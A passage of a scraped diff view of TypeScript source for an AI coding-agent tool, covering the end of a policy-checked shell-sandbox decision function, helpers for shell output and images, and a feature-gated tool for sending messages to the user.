if (matchWildcardPattern(rule.pattern, cand)) {
|
| 119 |
+
return true
|
| 120 |
+
}
|
| 121 |
+
break
|
| 122 |
+
}
|
| 123 |
+
}
|
| 124 |
+
}
|
| 125 |
+
}
|
| 126 |
+
|
| 127 |
+
return false
|
| 128 |
+
}
|
| 129 |
+
|
| 130 |
+
export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
|
| 131 |
+
if (!SandboxManager.isSandboxingEnabled()) {
|
| 132 |
+
return false
|
| 133 |
+
}
|
| 134 |
+
|
| 135 |
+
// Don't sandbox if explicitly overridden AND unsandboxed commands are allowed by policy
|
| 136 |
+
if (
|
| 137 |
+
input.dangerouslyDisableSandbox &&
|
| 138 |
+
SandboxManager.areUnsandboxedCommandsAllowed()
|
| 139 |
+
) {
|
| 140 |
+
return false
|
| 141 |
+
}
|
| 142 |
+
|
| 143 |
+
if (!input.command) {
|
| 144 |
+
return false
|
| 145 |
+
}
|
| 146 |
+
|
| 147 |
+
// Don't sandbox if the command contains user-configured excluded commands
|
| 148 |
+
if (containsExcludedCommand(input.command)) {
|
| 149 |
+
return false
|
| 150 |
+
}
|
| 151 |
+
|
| 152 |
+
return true
|
| 153 |
+
}
|
src/tools/BashTool/toolName.ts
ADDED
|
@@ -0,0 +1,2 @@
|
|
|
|
|
|
|
|
|
|
| 1 |
+
// Here to break circular dependency from prompt.ts
|
| 2 |
+
export const BASH_TOOL_NAME = 'Bash'
|
src/tools/BashTool/utils.ts
ADDED
|
@@ -0,0 +1,223 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import type {
|
| 2 |
+
Base64ImageSource,
|
| 3 |
+
ContentBlockParam,
|
| 4 |
+
ToolResultBlockParam,
|
| 5 |
+
} from '@anthropic-ai/sdk/resources/index.mjs'
|
| 6 |
+
import { readFile, stat } from 'fs/promises'
|
| 7 |
+
import { getOriginalCwd } from 'src/bootstrap/state.js'
|
| 8 |
+
import { logEvent } from 'src/services/analytics/index.js'
|
| 9 |
+
import type { ToolPermissionContext } from 'src/Tool.js'
|
| 10 |
+
import { getCwd } from 'src/utils/cwd.js'
|
| 11 |
+
import { pathInAllowedWorkingPath } from 'src/utils/permissions/filesystem.js'
|
| 12 |
+
import { setCwd } from 'src/utils/Shell.js'
|
| 13 |
+
import { shouldMaintainProjectWorkingDir } from '../../utils/envUtils.js'
|
| 14 |
+
import { maybeResizeAndDownsampleImageBuffer } from '../../utils/imageResizer.js'
|
| 15 |
+
import { getMaxOutputLength } from '../../utils/shell/outputLimits.js'
|
| 16 |
+
import { countCharInString, plural } from '../../utils/stringUtils.js'
|
| 17 |
+
/**
|
| 18 |
+
* Strips leading and trailing lines that contain only whitespace/newlines.
|
| 19 |
+
* Unlike trim(), this preserves whitespace within content lines and only removes
|
| 20 |
+
* completely empty lines from the beginning and end.
|
| 21 |
+
*/
|
| 22 |
+
export function stripEmptyLines(content: string): string {
|
| 23 |
+
const lines = content.split('\n')
|
| 24 |
+
|
| 25 |
+
// Find the first non-empty line
|
| 26 |
+
let startIndex = 0
|
| 27 |
+
while (startIndex < lines.length && lines[startIndex]?.trim() === '') {
|
| 28 |
+
startIndex++
|
| 29 |
+
}
|
| 30 |
+
|
| 31 |
+
// Find the last non-empty line
|
| 32 |
+
let endIndex = lines.length - 1
|
| 33 |
+
while (endIndex >= 0 && lines[endIndex]?.trim() === '') {
|
| 34 |
+
endIndex--
|
| 35 |
+
}
|
| 36 |
+
|
| 37 |
+
// If all lines are empty, return empty string
|
| 38 |
+
if (startIndex > endIndex) {
|
| 39 |
+
return ''
|
| 40 |
+
}
|
| 41 |
+
|
| 42 |
+
// Return the slice with non-empty lines
|
| 43 |
+
return lines.slice(startIndex, endIndex + 1).join('\n')
|
| 44 |
+
}
|
| 45 |
+
|
| 46 |
+
/**
|
| 47 |
+
* Check if content is a base64 encoded image data URL
|
| 48 |
+
*/
|
| 49 |
+
export function isImageOutput(content: string): boolean {
|
| 50 |
+
return /^data:image\/[a-z0-9.+_-]+;base64,/i.test(content)
|
| 51 |
+
}
|
| 52 |
+
|
| 53 |
+
const DATA_URI_RE = /^data:([^;]+);base64,(.+)$/
|
| 54 |
+
|
| 55 |
+
/**
|
| 56 |
+
* Parse a data-URI string into its media type and base64 payload.
|
| 57 |
+
* Input is trimmed before matching.
|
| 58 |
+
*/
|
| 59 |
+
export function parseDataUri(
|
| 60 |
+
s: string,
|
| 61 |
+
): { mediaType: string; data: string } | null {
|
| 62 |
+
const match = s.trim().match(DATA_URI_RE)
|
| 63 |
+
if (!match || !match[1] || !match[2]) return null
|
| 64 |
+
return { mediaType: match[1], data: match[2] }
|
| 65 |
+
}
|
| 66 |
+
|
| 67 |
+
/**
|
| 68 |
+
* Build an image tool_result block from shell stdout containing a data URI.
|
| 69 |
+
* Returns null if parse fails so callers can fall through to text handling.
|
| 70 |
+
*/
|
| 71 |
+
export function buildImageToolResult(
|
| 72 |
+
stdout: string,
|
| 73 |
+
toolUseID: string,
|
| 74 |
+
): ToolResultBlockParam | null {
|
| 75 |
+
const parsed = parseDataUri(stdout)
|
| 76 |
+
if (!parsed) return null
|
| 77 |
+
return {
|
| 78 |
+
tool_use_id: toolUseID,
|
| 79 |
+
type: 'tool_result',
|
| 80 |
+
content: [
|
| 81 |
+
{
|
| 82 |
+
type: 'image',
|
| 83 |
+
source: {
|
| 84 |
+
type: 'base64',
|
| 85 |
+
media_type: parsed.mediaType as Base64ImageSource['media_type'],
|
| 86 |
+
data: parsed.data,
|
| 87 |
+
},
|
| 88 |
+
},
|
| 89 |
+
],
|
| 90 |
+
}
|
| 91 |
+
}
|
| 92 |
+
|
| 93 |
+
// Cap file reads to 20 MB — any image data URI larger than this is
|
| 94 |
+
// well beyond what the API accepts (5 MB base64) and would OOM if read
|
| 95 |
+
// into memory.
|
| 96 |
+
const MAX_IMAGE_FILE_SIZE = 20 * 1024 * 1024
|
| 97 |
+
|
| 98 |
+
/**
|
| 99 |
+
* Resize image output from a shell tool. stdout is capped at
|
| 100 |
+
* getMaxOutputLength() when read back from the shell output file — if the
|
| 101 |
+
* full output spilled to disk, re-read it from there, since truncated base64
|
| 102 |
+
* would decode to a corrupt image that either throws here or gets rejected by
|
| 103 |
+
* the API. Caps dimensions too: compressImageBuffer only checks byte size, so
|
| 104 |
+
* a small-but-high-DPI PNG (e.g. matplotlib at dpi=300) sails through at full
|
| 105 |
+
* resolution and poisons many-image requests (CC-304).
|
| 106 |
+
*
|
| 107 |
+
* Returns the re-encoded data URI on success, or null if the source didn't
|
| 108 |
+
* parse as a data URI (caller decides whether to flip isImage).
|
| 109 |
+
*/
|
| 110 |
+
export async function resizeShellImageOutput(
|
| 111 |
+
stdout: string,
|
| 112 |
+
outputFilePath: string | undefined,
|
| 113 |
+
outputFileSize: number | undefined,
|
| 114 |
+
): Promise<string | null> {
|
| 115 |
+
let source = stdout
|
| 116 |
+
if (outputFilePath) {
|
| 117 |
+
const size = outputFileSize ?? (await stat(outputFilePath)).size
|
| 118 |
+
if (size > MAX_IMAGE_FILE_SIZE) return null
|
| 119 |
+
source = await readFile(outputFilePath, 'utf8')
|
| 120 |
+
}
|
| 121 |
+
const parsed = parseDataUri(source)
|
| 122 |
+
if (!parsed) return null
|
| 123 |
+
const buf = Buffer.from(parsed.data, 'base64')
|
| 124 |
+
const ext = parsed.mediaType.split('/')[1] || 'png'
|
| 125 |
+
const resized = await maybeResizeAndDownsampleImageBuffer(
|
| 126 |
+
buf,
|
| 127 |
+
buf.length,
|
| 128 |
+
ext,
|
| 129 |
+
)
|
| 130 |
+
return `data:image/${resized.mediaType};base64,${resized.buffer.toString('base64')}`
|
| 131 |
+
}
|
| 132 |
+
|
| 133 |
+
export function formatOutput(content: string): {
|
| 134 |
+
totalLines: number
|
| 135 |
+
truncatedContent: string
|
| 136 |
+
isImage?: boolean
|
| 137 |
+
} {
|
| 138 |
+
const isImage = isImageOutput(content)
|
| 139 |
+
if (isImage) {
|
| 140 |
+
return {
|
| 141 |
+
totalLines: 1,
|
| 142 |
+
truncatedContent: content,
|
| 143 |
+
isImage,
|
| 144 |
+
}
|
| 145 |
+
}
|
| 146 |
+
|
| 147 |
+
const maxOutputLength = getMaxOutputLength()
|
| 148 |
+
if (content.length <= maxOutputLength) {
|
| 149 |
+
return {
|
| 150 |
+
totalLines: countCharInString(content, '\n') + 1,
|
| 151 |
+
truncatedContent: content,
|
| 152 |
+
isImage,
|
| 153 |
+
}
|
| 154 |
+
}
|
| 155 |
+
|
| 156 |
+
const truncatedPart = content.slice(0, maxOutputLength)
|
| 157 |
+
const remainingLines = countCharInString(content, '\n', maxOutputLength) + 1
|
| 158 |
+
const truncated = `${truncatedPart}\n\n... [${remainingLines} lines truncated] ...`
|
| 159 |
+
|
| 160 |
+
return {
|
| 161 |
+
totalLines: countCharInString(content, '\n') + 1,
|
| 162 |
+
truncatedContent: truncated,
|
| 163 |
+
isImage,
|
| 164 |
+
}
|
| 165 |
+
}
|
| 166 |
+
|
| 167 |
+
export const stdErrAppendShellResetMessage = (stderr: string): string =>
|
| 168 |
+
`${stderr.trim()}\nShell cwd was reset to ${getOriginalCwd()}`
|
| 169 |
+
|
| 170 |
+
export function resetCwdIfOutsideProject(
|
| 171 |
+
toolPermissionContext: ToolPermissionContext,
|
| 172 |
+
): boolean {
|
| 173 |
+
const cwd = getCwd()
|
| 174 |
+
const originalCwd = getOriginalCwd()
|
| 175 |
+
const shouldMaintain = shouldMaintainProjectWorkingDir()
|
| 176 |
+
if (
|
| 177 |
+
shouldMaintain ||
|
| 178 |
+
// Fast path: originalCwd is unconditionally in allWorkingDirectories
|
| 179 |
+
// (filesystem.ts), so when cwd hasn't moved, pathInAllowedWorkingPath is
|
| 180 |
+
// trivially true — skip its syscalls for the no-cd common case.
|
| 181 |
+
(cwd !== originalCwd &&
|
| 182 |
+
!pathInAllowedWorkingPath(cwd, toolPermissionContext))
|
| 183 |
+
) {
|
| 184 |
+
// Reset to original directory if maintaining project dir OR outside allowed working directory
|
| 185 |
+
setCwd(originalCwd)
|
| 186 |
+
if (!shouldMaintain) {
|
| 187 |
+
logEvent('tengu_bash_tool_reset_to_original_dir', {})
|
| 188 |
+
return true
|
| 189 |
+
}
|
| 190 |
+
}
|
| 191 |
+
return false
|
| 192 |
+
}
|
| 193 |
+
|
| 194 |
+
/**
|
| 195 |
+
* Creates a human-readable summary of structured content blocks.
|
| 196 |
+
* Used to display MCP results with images and text in the UI.
|
| 197 |
+
*/
|
| 198 |
+
export function createContentSummary(content: ContentBlockParam[]): string {
|
| 199 |
+
const parts: string[] = []
|
| 200 |
+
let textCount = 0
|
| 201 |
+
let imageCount = 0
|
| 202 |
+
|
| 203 |
+
for (const block of content) {
|
| 204 |
+
if (block.type === 'image') {
|
| 205 |
+
imageCount++
|
| 206 |
+
} else if (block.type === 'text' && 'text' in block) {
|
| 207 |
+
textCount++
|
| 208 |
+
// Include first 200 chars of text blocks for context
|
| 209 |
+
const preview = block.text.slice(0, 200)
|
| 210 |
+
parts.push(preview + (block.text.length > 200 ? '...' : ''))
|
| 211 |
+
}
|
| 212 |
+
}
|
| 213 |
+
|
| 214 |
+
const summary: string[] = []
|
| 215 |
+
if (imageCount > 0) {
|
| 216 |
+
summary.push(`[${imageCount} ${plural(imageCount, 'image')}]`)
|
| 217 |
+
}
|
| 218 |
+
if (textCount > 0) {
|
| 219 |
+
summary.push(`[${textCount} text ${plural(textCount, 'block')}]`)
|
| 220 |
+
}
|
| 221 |
+
|
| 222 |
+
return `MCP Result: ${summary.join(', ')}${parts.length > 0 ? '\n\n' + parts.join('\n\n') : ''}`
|
| 223 |
+
}
|
src/tools/BriefTool/BriefTool.ts
ADDED
|
@@ -0,0 +1,204 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { feature } from 'bun:bundle'
|
| 2 |
+
import { z } from 'zod/v4'
|
| 3 |
+
import { getKairosActive, getUserMsgOptIn } from '../../bootstrap/state.js'
|
| 4 |
+
import { getFeatureValue_CACHED_WITH_REFRESH } from '../../services/analytics/growthbook.js'
|
| 5 |
+
import { logEvent } from '../../services/analytics/index.js'
|
| 6 |
+
import type { ValidationResult } from '../../Tool.js'
|
| 7 |
+
import { buildTool, type ToolDef } from '../../Tool.js'
|
| 8 |
+
import { isEnvTruthy } from '../../utils/envUtils.js'
|
| 9 |
+
import { lazySchema } from '../../utils/lazySchema.js'
|
| 10 |
+
import { plural } from '../../utils/stringUtils.js'
|
| 11 |
+
import { resolveAttachments, validateAttachmentPaths } from './attachments.js'
|
| 12 |
+
import {
|
| 13 |
+
BRIEF_TOOL_NAME,
|
| 14 |
+
BRIEF_TOOL_PROMPT,
|
| 15 |
+
DESCRIPTION,
|
| 16 |
+
LEGACY_BRIEF_TOOL_NAME,
|
| 17 |
+
} from './prompt.js'
|
| 18 |
+
import { renderToolResultMessage, renderToolUseMessage } from './UI.js'
|
| 19 |
+
|
| 20 |
+
const inputSchema = lazySchema(() =>
|
| 21 |
+
z.strictObject({
|
| 22 |
+
message: z
|
| 23 |
+
.string()
|
| 24 |
+
.describe('The message for the user. Supports markdown formatting.'),
|
| 25 |
+
attachments: z
|
| 26 |
+
.array(z.string())
|
| 27 |
+
.optional()
|
| 28 |
+
.describe(
|
| 29 |
+
'Optional file paths (absolute or relative to cwd) to attach. Use for photos, screenshots, diffs, logs, or any file the user should see alongside your message.',
|
| 30 |
+
),
|
| 31 |
+
status: z
|
| 32 |
+
.enum(['normal', 'proactive'])
|
| 33 |
+
.describe(
|
| 34 |
+
"Use 'proactive' when you're surfacing something the user hasn't asked for and needs to see now — task completion while they're away, a blocker you hit, an unsolicited status update. Use 'normal' when replying to something the user just said.",
|
| 35 |
+
),
|
| 36 |
+
}),
|
| 37 |
+
)
|
| 38 |
+
type InputSchema = ReturnType<typeof inputSchema>
|
| 39 |
+
|
| 40 |
+
// attachments MUST remain optional — resumed sessions replay pre-attachment
|
| 41 |
+
// outputs verbatim and a required field would crash the UI renderer on resume.
|
| 42 |
+
const outputSchema = lazySchema(() =>
|
| 43 |
+
z.object({
|
| 44 |
+
message: z.string().describe('The message'),
|
| 45 |
+
attachments: z
|
| 46 |
+
.array(
|
| 47 |
+
z.object({
|
| 48 |
+
path: z.string(),
|
| 49 |
+
size: z.number(),
|
| 50 |
+
isImage: z.boolean(),
|
| 51 |
+
file_uuid: z.string().optional(),
|
| 52 |
+
}),
|
| 53 |
+
)
|
| 54 |
+
.optional()
|
| 55 |
+
.describe('Resolved attachment metadata'),
|
| 56 |
+
sentAt: z
|
| 57 |
+
.string()
|
| 58 |
+
.optional()
|
| 59 |
+
.describe(
|
| 60 |
+
'ISO timestamp captured at tool execution on the emitting process. Optional — resumed sessions replay pre-sentAt outputs verbatim.',
|
| 61 |
+
),
|
| 62 |
+
}),
|
| 63 |
+
)
|
| 64 |
+
type OutputSchema = ReturnType<typeof outputSchema>
|
| 65 |
+
export type Output = z.infer<OutputSchema>
|
| 66 |
+
|
| 67 |
+
const KAIROS_BRIEF_REFRESH_MS = 5 * 60 * 1000
|
| 68 |
+
|
| 69 |
+
/**
|
| 70 |
+
* Entitlement check — is the user ALLOWED to use Brief? Combines build-time
|
| 71 |
+
* flags with runtime GB gate + assistant-mode passthrough. No opt-in check
|
| 72 |
+
* here — this decides whether opt-in should be HONORED, not whether the user
|
| 73 |
+
* has opted in.
|
| 74 |
+
*
|
| 75 |
+
* Build-time OR-gated on KAIROS || KAIROS_BRIEF (same pattern as
|
| 76 |
+
* PROACTIVE || KAIROS): assistant mode depends on Brief, so KAIROS alone
|
| 77 |
+
* must bundle it. KAIROS_BRIEF lets Brief ship independently.
|
| 78 |
+
*
|
| 79 |
+
* Use this to decide whether `--brief` / `defaultView: 'chat'` / `--tools`
|
| 80 |
+
* listing should be honored. Use `isBriefEnabled()` to decide whether the
|
| 81 |
+
* tool is actually active in the current session.
|
| 82 |
+
*
|
| 83 |
+
* CLAUDE_CODE_BRIEF env var force-grants entitlement for dev/testing —
|
| 84 |
+
* bypasses the GB gate so you can test without being enrolled. Still
|
| 85 |
+
* requires an opt-in action to activate (--brief, defaultView, etc.), but
|
| 86 |
+
* the env var alone also sets userMsgOptIn via maybeActivateBrief().
|
| 87 |
+
*/
|
| 88 |
+
export function isBriefEntitled(): boolean {
|
| 89 |
+
// Positive ternary — see docs/feature-gating.md. Negative early-return
|
| 90 |
+
// would not eliminate the GB gate string from external builds.
|
| 91 |
+
return feature('KAIROS') || feature('KAIROS_BRIEF')
|
| 92 |
+
? getKairosActive() ||
|
| 93 |
+
isEnvTruthy(process.env.CLAUDE_CODE_BRIEF) ||
|
| 94 |
+
getFeatureValue_CACHED_WITH_REFRESH(
|
| 95 |
+
'tengu_kairos_brief',
|
| 96 |
+
false,
|
| 97 |
+
KAIROS_BRIEF_REFRESH_MS,
|
| 98 |
+
)
|
| 99 |
+
: false
|
| 100 |
+
}
|
| 101 |
+
|
| 102 |
+
/**
|
| 103 |
+
* Unified activation gate for the Brief tool. Governs model-facing behavior
|
| 104 |
+
* as a unit: tool availability, system prompt section (getBriefSection),
|
| 105 |
+
* tool-deferral bypass (isDeferredTool), and todo-nag suppression.
|
| 106 |
+
*
|
| 107 |
+
* Activation requires explicit opt-in (userMsgOptIn) set by one of:
|
| 108 |
+
* - `--brief` CLI flag (maybeActivateBrief in main.tsx)
|
| 109 |
+
* - `defaultView: 'chat'` in settings (main.tsx init)
|
| 110 |
+
* - `/brief` slash command (brief.ts)
|
| 111 |
+
* - `/config` defaultView picker (Config.tsx)
|
| 112 |
+
* - SendUserMessage in `--tools` / SDK `tools` option (main.tsx)
|
| 113 |
+
* - CLAUDE_CODE_BRIEF env var (maybeActivateBrief — dev/testing bypass)
|
| 114 |
+
* Assistant mode (kairosActive) bypasses opt-in since its system prompt
|
| 115 |
+
* hard-codes "you MUST use SendUserMessage" (systemPrompt.md:14).
|
| 116 |
+
*
|
| 117 |
+
* The GB gate is re-checked here as a kill-switch AND — flipping
|
| 118 |
+
* tengu_kairos_brief off mid-session disables the tool on the next 5-min
|
| 119 |
+
* refresh even for opted-in sessions. No opt-in → always false regardless
|
| 120 |
+
* of GB (this is the fix for "brief defaults on for enrolled ants").
|
| 121 |
+
*
|
| 122 |
+
* Called from Tool.isEnabled() (lazy, post-init), never at module scope.
|
| 123 |
+
* getKairosActive() and getUserMsgOptIn() are set in main.tsx before any
|
| 124 |
+
* caller reaches here.
|
| 125 |
+
*/
|
| 126 |
+
export function isBriefEnabled(): boolean {
|
| 127 |
+
// Top-level feature() guard is load-bearing for DCE: Bun can constant-fold
|
| 128 |
+
// the ternary to `false` in external builds and then dead-code the BriefTool
|
| 129 |
+
// object. Composing isBriefEntitled() alone (which has its own guard) is
|
| 130 |
+
// semantically equivalent but defeats constant-folding across the boundary.
|
| 131 |
+
return feature('KAIROS') || feature('KAIROS_BRIEF')
|
| 132 |
+
? (getKairosActive() || getUserMsgOptIn()) && isBriefEntitled()
|
| 133 |
+
: false
|
| 134 |
+
}
|
| 135 |
+
|
| 136 |
+
export const BriefTool = buildTool({
|
| 137 |
+
name: BRIEF_TOOL_NAME,
|
| 138 |
+
aliases: [LEGACY_BRIEF_TOOL_NAME],
|
| 139 |
+
searchHint:
|
| 140 |
+
'send a message to the user — your primary visible output channel',
|
| 141 |
+
maxResultSizeChars: 100_000,
|
| 142 |
+
userFacingName() {
|
| 143 |
+
return ''
|
| 144 |
+
},
|
| 145 |
+
get inputSchema(): InputSchema {
|
| 146 |
+
return inputSchema()
|
| 147 |
+
},
|
| 148 |
+
get outputSchema(): OutputSchema {
|
| 149 |
+
return outputSchema()
|
| 150 |
+
},
|
| 151 |
+
isEnabled() {
|
| 152 |
+
return isBriefEnabled()
|
| 153 |
+
},
|
| 154 |
+
isConcurrencySafe() {
|
| 155 |
+
return true
|
| 156 |
+
},
|
| 157 |
+
isReadOnly() {
|
| 158 |
+
return true
|
| 159 |
+
},
|
| 160 |
+
toAutoClassifierInput(input) {
|
| 161 |
+
return input.message
|
| 162 |
+
},
|
| 163 |
+
async validateInput({ attachments }, _context): Promise<ValidationResult> {
|
| 164 |
+
if (!attachments || attachments.length === 0) {
|
| 165 |
+
return { result: true }
|
| 166 |
+
}
|
| 167 |
+
return validateAttachmentPaths(attachments)
|
| 168 |
+
},
|
| 169 |
+
async description() {
|
| 170 |
+
return DESCRIPTION
|
| 171 |
+
},
|
| 172 |
+
async prompt() {
|
| 173 |
+
return BRIEF_TOOL_PROMPT
|
| 174 |
+
},
|
| 175 |
+
mapToolResultToToolResultBlockParam(output, toolUseID) {
|
| 176 |
+
const n = output.attachments?.length ?? 0
|
| 177 |
+
const suffix = n === 0 ? '' : ` (${n} ${plural(n, 'attachment')} included)`
|
| 178 |
+
return {
|
| 179 |
+
tool_use_id: toolUseID,
|
| 180 |
+
type: 'tool_result',
|
| 181 |
+
content: `Message delivered to user.${suffix}`,
|
| 182 |
+
}
|
| 183 |
+
},
|
| 184 |
+
renderToolUseMessage,
|
| 185 |
+
renderToolResultMessage,
|
| 186 |
+
async call({ message, attachments, status }, context) {
|
| 187 |
+
const sentAt = new Date().toISOString()
|
| 188 |
+
logEvent('tengu_brief_send', {
|
| 189 |
+
proactive: status === 'proactive',
|
| 190 |
+
attachment_count: attachments?.length ?? 0,
|
| 191 |
+
})
|
| 192 |
+
if (!attachments || attachments.length === 0) {
|
| 193 |
+
return { data: { message, sentAt } }
|
| 194 |
+
}
|
| 195 |
+
const appState = context.getAppState()
|
| 196 |
+
const resolved = await resolveAttachments(attachments, {
|
| 197 |
+
replBridgeEnabled: appState.replBridgeEnabled,
|
| 198 |
+
signal: context.abortController.signal,
|
| 199 |
+
})
|
| 200 |
+
return {
|
| 201 |
+
data: { message, attachments: resolved, sentAt },
|
| 202 |
+
}
|
| 203 |
+
},
|
| 204 |
+
} satisfies ToolDef<InputSchema, Output>)
|
src/tools/BriefTool/UI.tsx
ADDED
|
@@ -0,0 +1,101 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { c as _c } from "react/compiler-runtime";
|
| 2 |
+
import figures from 'figures';
|
| 3 |
+
import React from 'react';
|
| 4 |
+
import { Markdown } from '../../components/Markdown.js';
|
| 5 |
+
import { BLACK_CIRCLE } from '../../constants/figures.js';
|
| 6 |
+
import { Box, Text } from '../../ink.js';
|
| 7 |
+
import type { ProgressMessage } from '../../types/message.js';
|
| 8 |
+
import { getDisplayPath } from '../../utils/file.js';
|
| 9 |
+
import { formatFileSize } from '../../utils/format.js';
|
| 10 |
+
import { formatBriefTimestamp } from '../../utils/formatBriefTimestamp.js';
|
| 11 |
+
import type { Output } from './BriefTool.js';
|
| 12 |
+
export function renderToolUseMessage(): React.ReactNode {
|
| 13 |
+
return '';
|
| 14 |
+
}
|
| 15 |
+
export function renderToolResultMessage(output: Output, _progressMessages: ProgressMessage[], options?: {
|
| 16 |
+
isTranscriptMode?: boolean;
|
| 17 |
+
isBriefOnly?: boolean;
|
| 18 |
+
}): React.ReactNode {
|
| 19 |
+
const hasAttachments = (output.attachments?.length ?? 0) > 0;
|
| 20 |
+
if (!output.message && !hasAttachments) {
|
| 21 |
+
return null;
|
| 22 |
+
}
|
| 23 |
+
|
| 24 |
+
// In transcript mode (ctrl+o), model text is NOT filtered — keep the ⏺ so
|
| 25 |
+
// SendUserMessage is visually distinct from the surrounding text blocks.
|
| 26 |
+
if (options?.isTranscriptMode) {
|
| 27 |
+
return <Box flexDirection="row" marginTop={1}>
|
| 28 |
+
<Box minWidth={2}>
|
| 29 |
+
